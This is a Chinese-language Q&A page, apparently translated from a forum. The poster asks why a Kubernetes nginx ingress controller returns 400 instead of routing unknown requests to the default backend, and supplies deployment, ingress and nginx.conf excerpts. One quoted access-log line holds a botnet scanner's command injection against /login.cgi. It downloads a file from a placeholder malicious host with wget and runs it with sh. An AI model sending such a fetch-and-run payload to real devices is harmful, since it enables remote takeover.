首页 > 解决方案 > Kubernetes nginx 控制器,没有到默认后端的流量:400s 应该是 404s

问题描述

我有一个问题,所有未知端点都由入口控制器本身返回 400。它不会向默认后端发送任何流量。到定义的入口点的其他流量工作正常。

我在 ingress-controller 的日志中看到了这一点,因为每天晚上我都会得到看似手动的妥协尝试,并且我假设攻击者(或脚本)继续尝试,因为他们得到的是 400 而不是 404,而这些然后假定它们不是潜在的可访问端点。

我不确定这是由于我部署 nginx-ingress-controller 的方式,还是由于我设置入口的方式。ingress-controller 实际上只是一个通用的 Helm 部署。

这是其部署清单的一部分:

Name:                   fashionable-gopher-nginx-ingress-controller
Namespace:              kube-system
CreationTimestamp:      Tue, 03 Jul 2018 14:02:46 -0700
Labels:                 app=nginx-ingress
                        chart=nginx-ingress-0.20.3
                        component=controller
                        heritage=Tiller
                        release=fashionable-gopher
Annotations:            deployment.kubernetes.io/revision=1
Selector:               app=nginx-ingress,component=controller,release=fashionable-gopher
Replicas:               1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType:           RollingUpdate
MinReadySeconds:        0
RollingUpdateStrategy:  1 max unavailable, 1 max surge
Pod Template:
  Labels:           app=nginx-ingress
                    component=controller
                    release=fashionable-gopher
  Service Account:  fashionable-gopher-nginx-ingress
  Containers:
   nginx-ingress-controller:
    Image:       quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
    Ports:       80/TCP, 443/TCP
    Host Ports:  0/TCP, 0/TCP
    Args:
      /nginx-ingress-controller
      --default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend

这是日志中的示例 400,它应该是 404(任何地方都不存在“login.cgi”端点):

10.244.3.1 - [10.244.3.1] - - [22/Aug/2018:23:52:35 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://some.malicious.ip.address/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 174 "-" "Hakai/2.0" 203 0.000 [] - - - -

这是默认后端:

Name:                   fashionable-gopher-nginx-ingress-default-backend
Namespace:              kube-system
CreationTimestamp:      Tue, 03 Jul 2018 14:02:46 -0700
Labels:                 app=nginx-ingress
                        chart=nginx-ingress-0.20.3
                        component=default-backend
                        heritage=Tiller
                        release=fashionable-gopher
Annotations:            deployment.kubernetes.io/revision=1
Selector:               app=nginx-ingress,component=default-backend,release=fashionable-gopher
Replicas:               1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType:           RollingUpdate
MinReadySeconds:        0
RollingUpdateStrategy:  1 max unavailable, 1 max surge
Pod Template:
  Labels:  app=nginx-ingress
           component=default-backend
           release=fashionable-gopher
  Containers:
   nginx-ingress-default-backend:
    Image:        k8s.gcr.io/defaultbackend:1.3

最后,这里有一些来自 ingress-controller 中 nginx.conf 的部分,我不是 nginx.confs 方面的专家,但它看起来对我来说是正确的:

...
upstream upstream-default-backend {
        least_conn;

        keepalive 32;
}

        server 10.100.3.10:8080 max_fails=0 fail_timeout=0;
           location / {

        log_by_lua_block {

        }

        if ($scheme = https) {
            more_set_headers       "Strict-Transport-Security: max-age=15724800; includeSubDomains";
        }

        access_log off;

        port_in_redirect off;

        set $proxy_upstream_name "upstream-default-backend";

        set $namespace      "";
        set $ingress_name   "";
        set $service_name   "";

        client_max_body_size                    "1m";

                # In case of errors try the next upstream server before returning an error
        proxy_next_upstream                     error timeout invalid_header http_502 http_503 http_504;
        proxy_next_upstream_tries               0;

        proxy_pass http://upstream-default-backend;

        proxy_redirect                          off;

    }

注意:在我设置我的第一个入口(针对其他域)之前,流量确实进入了我的默认后端并抛出 404。

我现在应该怎么做来调试这个问题并弄清楚为什么这些 400 没有被发送到我的默认后端?

编辑

这是默认控制器的部署定义:

kubectl get deployment fashionable-gopher-nginx-ingress-default-backend -o yaml -n kube-system 

apiVersion: extensions/v1beta1 
kind: Deployment 
metadata:  annotations:
   deployment.kubernetes.io/revision: "1"   
   creationTimestamp: 2018-07-03T21:02:46Z   
   generation: 1   
labels:
    app: nginx-ingress
    chart: nginx-ingress-0.20.3
    component: default-backend
    heritage: Tiller
    release: fashionable-gopher   
    name: fashionable-gopher-nginx-ingress-default-backend   
    namespace: kube-system   resourceVersion: 

    progressDeadlineSeconds: 600   replicas: 1   revisionHistoryLimit: 10  selector:
    matchLabels:
      app: nginx-ingress
      component: default-backend
      release: fashionable-gopher   strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 1
    type: RollingUpdate   template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx-ingress
        component: default-backend
        release: fashionable-gopher
    spec:
      containers:
      - image: k8s.gcr.io/defaultbackend:1.3
        imagePullPolicy: IfNotPresent
        livenessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: 8080
            scheme: HTTP
          initialDelaySeconds: 30
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 5
        name: nginx-ingress-default-backend
        ports:
        - containerPort: 8080
          name: http
          protocol: TCP
        resources: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 60 status:   availableReplicas: 1   conditions:
  - lastTransitionTime: 2018-07-03T21:02:46Z
    lastUpdateTime: 2018-07-03T21:02:46Z
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: 2018-07-28T16:19:57Z
    lastUpdateTime: 2018-07-28T16:22:06Z
    message: ReplicaSet "fashionable-gopher-nginx-ingress-default-backend-5ffffffff"
      has successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing   observedGeneration: 1   readyReplicas: 1   replicas: 1   updatedReplicas: 1

编辑

这是我目前定义的唯一入口:

Name:             default-myserver-ingress
Namespace:        default
Address:
Default backend:  default-http-backend:80 (<none>)
TLS:
  myapp-tls-host-secrets terminates someapp.somehostname.com
Rules:
  Host                           Path  Backends
  ----                           ----  --------
  someapp.somehostname.com
                                 /   my-api:8000 (<none>)
Annotations:
  kubectl.kubernetes.io/last-applied-configuration:  {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"kubernetes.io/ingress.class":"nginx"},"name":"default-myserver-ingress","namespace":"default"},"spec":{"rules":[{"host":"someapp.somehostname.com","http":{"paths":[{"backend":{"serviceName":"my-api","servicePort":8000},"path":"/"}]}}],"tls":[{"hosts":["someapp.somehostname.com"],"secretName":"myapp-tls-host-secrets"}]}}

  kubernetes.io/ingress.class:  nginx
Events:                         <none>

此入口是为主机名定义的,例如someapp.somehostname.com. 但是,这是一个 CNAME。与此 IP 地址关联的A记录正在获取我上面提到的有问题的流量(即使它没有在我的任何 Ingress 定义中定义),并且当我认为它应该是时,该流量不会进入默认后端。那有意义吗?

编辑:

这是结果kubectl get deployment fashionable-gopher-nginx-ingress-controller -n kube-system -o yaml

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
  creationTimestamp: 2018-07-03T21:02:46Z
  generation: 1
  labels:
    app: nginx-ingress
    chart: nginx-ingress-0.20.3
    component: controller
    heritage: Tiller
    release: fashionable-gopher
  name: fashionable-gopher-nginx-ingress-controller
  namespace: kube-system
  resourceVersion: "7461558"
  selfLink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/fashionable-gopher-nginx-ingress-controller
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app: nginx-ingress
      component: controller
      release: fashionable-gopher
  strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 1
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx-ingress
        component: controller
        release: fashionable-gopher
    spec:
      containers:
      - args:
        - /nginx-ingress-controller
        - --default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend
        - --election-id=ingress-controller-leader
        - --ingress-class=nginx
        - --configmap=kube-system/fashionable-gopher-nginx-ingress-controller
        env:
        - name: POD_NAME
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.name
        - name: POD_NAMESPACE
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
        image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
        imagePullPolicy: IfNotPresent
        livenessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: 10254
            scheme: HTTP
          initialDelaySeconds: 10
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 1
        name: nginx-ingress-controller
        ports:
        - containerPort: 80
          name: http
          protocol: TCP
        - containerPort: 443
          name: https
          protocol: TCP
        readinessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: 10254
            scheme: HTTP
          initialDelaySeconds: 10
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 1
        resources: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      serviceAccount: fashionable-gopher-nginx-ingress
      serviceAccountName: fashionable-gopher-nginx-ingress
      terminationGracePeriodSeconds: 60
status:
  availableReplicas: 1
  conditions:
  - lastTransitionTime: 2018-07-03T21:02:46Z
    lastUpdateTime: 2018-07-03T21:02:46Z
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: 2018-07-28T16:29:07Z
    lastUpdateTime: 2018-07-28T16:31:53Z
    message: ReplicaSet "fashionable-gopher-nginx-ingress-controller-69d44d4df4" has
      successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  observedGeneration: 1
  readyReplicas: 1
  replicas: 1
  updatedReplicas: 1

标签: nginxkubernetesnginx-ingress

解决方案


推荐阅读